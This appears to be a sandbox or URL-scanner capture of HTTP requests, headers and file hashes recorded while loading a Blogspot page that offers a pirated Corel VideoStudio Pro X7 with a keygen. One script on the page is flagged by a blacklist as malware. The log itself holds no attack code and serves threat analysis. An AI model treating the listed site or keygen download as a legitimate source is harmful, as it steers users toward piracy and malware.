                                            GET /-o1GSRl3tXdQ/AAAAAAAAAAI/AAAAAAAAABA/iULrUI-RAdg/s35-c/photo.jpg HTTP/1.1 
Host: lh5.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v10"
Expires: Thu, 11 Oct 2018 21:38:05 GMT
Content-Disposition: inline;filename=""
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:09 GMT
Server: fife
Content-Length: 1713
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   1713
Md5:    8805b25ed41f877f66319e48715b5b2e
Sha1:   240083e2bc2eb6d951aafa385d5d3bde089d7a4a
Sha256: 8bfee399971c0322fcc00ff0b5a96d9d494f2744257d5c29c001da9e0ac690f1
                                        
                                            GET /-11LNH7W3IFs/UZV-ozbLWtI/AAAAAAAAGxo/8airTn3fEIY/w72-h72-p-k-no-nu/win+7+and+win+8+aio.jpg HTTP/1.1 
Host: 2.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v1b1a"
Expires: Wed, 10 Oct 2018 18:57:04 GMT
Content-Disposition: inline;filename="win 7 and win 8 aio.jpg"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:09 GMT
Server: fife
Content-Length: 4076
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   4076
Md5:    0668bf1b9b05480162bf2aef81068f69
Sha1:   b93818e403695a8b04ca125149420028634c1e82
Sha256: 51550b2e37a1a1d3e8551725b581b5e1cf7ca6dd7dc437b1c1b46c722444dd0f
                                        
                                            GET /-pfq8tsGfLfA/U0C1tXVmSpI/AAAAAAAAHsw/TRDlecRhl4M/s1600/Corel+Video+Studio+Pro+X7.jpg HTTP/1.1 
Host: 3.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v1ecd"
Expires: Fri, 12 Oct 2018 12:32:09 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="Corel Video Studio Pro X7.jpg"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:09 GMT
Server: fife
Content-Length: 20401
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   20401
Md5:    d96b327d6f104f327ccfdb998e13dfea
Sha1:   dae53488789870095792f29e742545606e2a4809
Sha256: 4623a215d4f51901e6b2eba1bee2acbd6956f3e162656407bb6be33ad289c317
                                        
                                            GET /-PXQaqAY9g0Q/UdACti59eZI/AAAAAAAAG9w/cGy6Vlm-F8Y/w72-h72-p-k-no-nu/IDM+box.png HTTP/1.1 
Host: 2.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v1bdd"
Expires: Wed, 10 Oct 2018 18:57:04 GMT
Content-Disposition: inline;filename="IDM box.png"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:09 GMT
Server: fife
Content-Length: 8393
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  PNG image, 72 x 72, 8-bit/color RGBA, non-interlaced
Size:   8393
Md5:    9156f026c35c4c0cbc098df3c9a27a99
Sha1:   22cf4976422fa0356ec602c4a67007228bc1d2f7
Sha256: b1cb3236bf948aea91fec9682d4f2f317d4fda18db49c7f8a11c7e0ddc8c44e3
                                        
                                            GET /-aBYiotV39ZI/T7PzCbj7CzI/AAAAAAAAABM/R1FlUd2V-ZA/s35/Band-Senja-%2525252853n74%25252529.JPG HTTP/1.1 
Host: 2.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v13"
Expires: Fri, 12 Oct 2018 12:32:09 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="Band-Senja-%252853n74%2529.JPG"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:09 GMT
Server: fife
Content-Length: 2010
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   2010
Md5:    2ece8c2d0306ed5a3b88f2a583f4a0f9
Sha1:   63d00590f95a7a0843bc9294969de2d81d172183
Sha256: 6320664484d7b27e418c8752ab5f44cbce7f45bb269fccc7e81317dd29b8bdf1
                                        
                                            GET /-o2lN9Ly3HA0/AAAAAAAAAAI/AAAAAAAAABI/4mxKR47VsHo/s35-c/photo.jpg HTTP/1.1 
Host: lh6.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v1a4"
Expires: Wed, 10 Oct 2018 20:38:59 GMT
Content-Disposition: inline;filename="f837017b-df6f-40e3-ab54-a91a6d19f19a.jpg"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:09 GMT
Server: fife
Content-Length: 1452
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   1452
Md5:    9b2973ab6d303aa7d3d793b3f6c85940
Sha1:   8b1a2c4814db34e387e30819e59ec8fda0a5a1ea
Sha256: 5e0f487e97220ddd838e99255110e9cb9ab0c70c51ef55ba74a14170accc620a
                                        
                                            GET /-PTNIs2ZpV2A/AAAAAAAAAAI/AAAAAAAAABo/8jzOgiGGmOA/s35-c/photo.jpg HTTP/1.1 
Host: lh6.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v893"
Expires: Thu, 11 Oct 2018 21:38:05 GMT
Content-Disposition: inline;filename=""
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:09 GMT
Server: fife
Content-Length: 1546
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   1546
Md5:    8941d76b8b10aeb7f2a9a8bfbe7d2b18
Sha1:   de39ad3ef60da8d3bb23118bdced7f48a27e4dd4
Sha256: 8265feead9d5c6a50c7945a37b0aa46a4437cd697b31a4741c860b3fc3ec557c
                                        
                                            GET /-zbhAqSWE8rs/AAAAAAAAAAI/AAAAAAAAABk/aorrWJmUfVQ/s35-c/photo.jpg HTTP/1.1 
Host: lh6.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v76"
Expires: Thu, 11 Oct 2018 21:38:05 GMT
Content-Disposition: inline;filename=""
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:09 GMT
Server: fife
Content-Length: 1767
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   1767
Md5:    6c9130799e1f15a61a00e40c1153178b
Sha1:   471d762d662effbe43308338b3d7c5fac0c5c7c0
Sha256: 176c0effe859512351b00944c05c62976aee95ef0deef01386e994571cc5de84
                                        
                                            GET /-pzS4u4aDctg/AAAAAAAAAAI/AAAAAAAAABQ/dUx2mE1xwhk/s35-c/photo.jpg HTTP/1.1 
Host: lh4.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v14"
Expires: Thu, 11 Oct 2018 21:38:05 GMT
Content-Disposition: inline;filename=""
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:09 GMT
Server: fife
Content-Length: 1340
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   1340
Md5:    9e26e02f3e96f3c824af8a2c63252ee3
Sha1:   3497068e0452dee8e77d5fed929e89b18ec2b697
Sha256: 17a9f7536611f45bcabefeff23911ff24d98777fb6fee05915af1cc328014ad2
                                        
                                            GET /-JnZgeNqM3QI/AAAAAAAAAAI/AAAAAAAAADI/hoSV4A58YzM/s35-c/photo.jpg HTTP/1.1 
Host: lh4.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v32"
Expires: Thu, 11 Oct 2018 21:38:05 GMT
Content-Disposition: inline;filename=""
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:09 GMT
Server: fife
Content-Length: 1515
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   1515
Md5:    9a2694b5359c7b9d379bbb1a1d8e61a0
Sha1:   682b30dfb0a45a02649ebfc4d7dcd1a7704fa45f
Sha256: c71d984ad010ab982835e486cd51322ad73a81a74aeeb96b6c09b033bea52ed0
                                        
                                            GET /dynamicviews/4224c15c4e7c9321/js/comments.js HTTP/1.1 
Host: www.blogblog.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         216.58.207.201
HTTP/1.1 200 OK
Content-Type: text/javascript
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 122175
Date: Thu, 11 Oct 2018 11:24:22 GMT
Expires: Thu, 18 Oct 2018 11:24:22 GMT
Last-Modified: Mon, 14 May 2012 20:21:35 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=604800
Age: 4067


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   122175
Md5:    ba1b20d16521eb1c8f65273cc18caf66
Sha1:   8ab276e9f2aab9c5e3c917ab08fd466153858a93
Sha256: 842b207a57f51005fde7ef67a49da099209014fa5e911101610588c3ac6d6fdc
                                        
                                            GET /-HEn5itZb_VY/UdQ0ybhDKdI/AAAAAAAAHBg/1eLD1dT2CiE/w72-h72-p-k-no-nu/archi.jpg HTTP/1.1 
Host: 4.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v1c19"
Expires: Wed, 10 Oct 2018 18:57:04 GMT
Content-Disposition: inline;filename="archi.jpg"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:09 GMT
Server: fife
Content-Length: 3646
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   3646
Md5:    debc5323505b498dbb2afa72f3df3d07
Sha1:   b10445a0826c5c637ce921d965513be9bad0b8ae
Sha256: 69874ed6708653434cd40f7c3bfbf931954381c819a9e2fca36463165b0dc822
                                        
                                            GET /-8ifB_yKr2RU/Tt7DZRFYGxI/AAAAAAAAACQ/Yo27tPinTt8/s35/GANZ.jpg HTTP/1.1 
Host: 2.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v24"
Expires: Fri, 12 Oct 2018 12:32:09 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="GANZ.jpg"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:09 GMT
Server: fife
Content-Length: 795
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   795
Md5:    3e8ac4d8b321c875b247381ac7d1934b
Sha1:   92764fdd50e3bec325a13e50e862f96517dacd8f
Sha256: 1b96ef4c2e318f57f63746d5233bd1e9d6d61fdc4e122803d8edc132e9881368
                                        
                                            GET /-2ZSOh59hing/U0C10rH8vJI/AAAAAAAAHs4/qEjNgjtSQiM/s1600/Download+Corel+VideoStudio+Pro+X7+(x64-x86)+Full+Keygen_2.jpg HTTP/1.1 
Host: 1.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v1ecf"
Expires: Fri, 12 Oct 2018 12:32:09 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="Download Corel VideoStudio Pro X7 (x64-x86) Full Keygen_2.jpg"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:09 GMT
Server: fife
Content-Length: 152811
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   152811
Md5:    42da9d6eb22da640c632d59c62ac948e
Sha1:   b8722aa1705edd39c08d408aea595e2a5d010f03
Sha256: daa6007ce6f63cdb3ce6245db0f15a0740ae575d73e238209ea23a886b86031b
                                        
                                            GET /static/v1/widgets/2383172227-widgets.js HTTP/1.1 
Host: www.blogger.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         216.58.207.201
HTTP/1.1 200 OK
Content-Type: text/javascript
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 52271
Date: Tue, 09 Oct 2018 01:36:58 GMT
Expires: Wed, 09 Oct 2019 01:36:58 GMT
Last-Modified: Mon, 08 Oct 2018 23:51:23 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 212111
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   52271
Md5:    b643c34845aa367c06ee1d1dacd052a9
Sha1:   48435b39b5485057ab5fb99c2085a7fd2d9314ab
Sha256: 96995eb71c4744e5aefb32eccf88f7a939c6c011f3741007eda98f0943bdfe13
                                        
                                            GET /services/backlink/backlink2.php?aut=EF60387089C968920487F89D5739455201155A64B924A54A750E6D8DD2AD0BC1854A7AD421A02FC8C1332B416B8AC57D243F57613FCB2A3E351ACB2180A35240BDA3 HTTP/1.1 
Host: www.morevisits.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         104.24.110.249
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Date: Thu, 11 Oct 2018 12:32:09 GMT
Content-Length: 235
Connection: keep-alive
Set-Cookie: __cfduid=dee7de4ad7e5450ed8e7aed048565f2641539261129; expires=Fri, 11-Oct-19 12:32:09 GMT; path=/; domain=.morevisits.info; HttpOnly
Pragma: public
Expires: Mon, 26 Jul 2019 05:00:00 GMT
Cache-Control: max-age=604800
Server: cloudflare
CF-RAY: 4681590a802e4261-OSL


--- Additional Info ---
Magic:  GIF image data, version 87a, 80 x 15
Size:   235
Md5:    d9e48f1e67464a5d645f10adeefc999f
Sha1:   c50e1afbfe95530552e17bd3c0fe053845301820
Sha256: 8af2116b0a3a24982982de8fbcaa37026db109b7b971ac3c3e7deeb96fdd839d
                                        
                                            GET /services/backlink/backlink2.php?aut=EF60387089C968920487F89D5739455201155A64B924A54A750E6D8DD2AD0BC1854A7AD421A02FC8C133214B6D89C171323442713DC9253F2224C73C88A35C48B0A3371BCFC74D HTTP/1.1 
Host: www.getfreebacklinks.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         104.24.114.125
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Date: Thu, 11 Oct 2018 12:32:09 GMT
Content-Length: 235
Connection: keep-alive
Set-Cookie: __cfduid=d44dd29368a7d4202d0fe86509855e55a1539261129; expires=Fri, 11-Oct-19 12:32:09 GMT; path=/; domain=.getfreebacklinks.com; HttpOnly
Pragma: public
Expires: Mon, 26 Jul 2019 05:00:00 GMT
Cache-Control: max-age=604800
Server: cloudflare
CF-RAY: 4681590a802d4261-OSL


--- Additional Info ---
Magic:  GIF image data, version 87a, 80 x 15
Size:   235
Md5:    d9e48f1e67464a5d645f10adeefc999f
Sha1:   c50e1afbfe95530552e17bd3c0fe053845301820
Sha256: 8af2116b0a3a24982982de8fbcaa37026db109b7b971ac3c3e7deeb96fdd839d
                                        
                                            GET /js/cookienotice.js HTTP/1.1 
Host: abduhshare.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         216.58.211.1
HTTP/1.1 200 OK
Content-Type: text/javascript
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 2026
Date: Tue, 09 Oct 2018 18:57:04 GMT
Expires: Tue, 16 Oct 2018 18:57:04 GMT
Last-Modified: Mon, 08 Oct 2018 20:28:10 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=604800
Age: 149705


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   2026
Md5:    c4e1ed83d89245089b8a1203be20a377
Sha1:   f3940e1215b89300ef97d57a25993f25243b8688
Sha256: afa801a129ff6fc98533118275db8a7d4a38fc91f8ab55ed4c19b864255e68d2

Alerts:
  Blacklists:
    - fortinet: Malware
                                        
                                            GET /css?family=Open+Sans:300italic,600italic,300,600 HTTP/1.1 
Host: fonts.googleapis.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         216.58.211.138
HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
                                        
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
Expires: Thu, 11 Oct 2018 12:32:09 GMT
Date: Thu, 11 Oct 2018 12:32:09 GMT
Cache-Control: private, max-age=86400
Content-Encoding: gzip
Transfer-Encoding: chunked
Server: ESF
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   284
Md5:    c61d42343e473444459d979fb4fc7979
Sha1:   f54003153a6a2a7631b05c8aa2bfdf818ecdfb9a
Sha256: 827850d344415d6b6e849d6ac397451170afc971cf0f8f013417fc9139eb7e66
                                        
                                            GET /images/logo-w3-world-wide-web-directory.gif HTTP/1.1 
Host: www.w3-directory.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         94.23.55.158
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Date: Thu, 11 Oct 2018 12:48:02 GMT
Server: Apache
Last-Modified: Fri, 28 Nov 2014 12:52:07 GMT
Etag: "72e40a2-8ae-508eaba72abc0"
Accept-Ranges: bytes
Content-Length: 2222
Keep-Alive: timeout=15, max=2000
Connection: Keep-Alive


--- Additional Info ---
Magic:  GIF image data, version 89a, 125 x 35
Size:   2222
Md5:    74a841b0aac607e0fae44fdc6429978e
Sha1:   27433b8b55b0367489012ca63aff1a94c8469923
Sha256: ca8ccd74c42c2505d1f3ba19be81c16ba136b26f262638c0f972a4db4956b283
                                        
                                            POST / HTTP/1.1 
Host: ocsp.comodoca.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         91.135.34.19
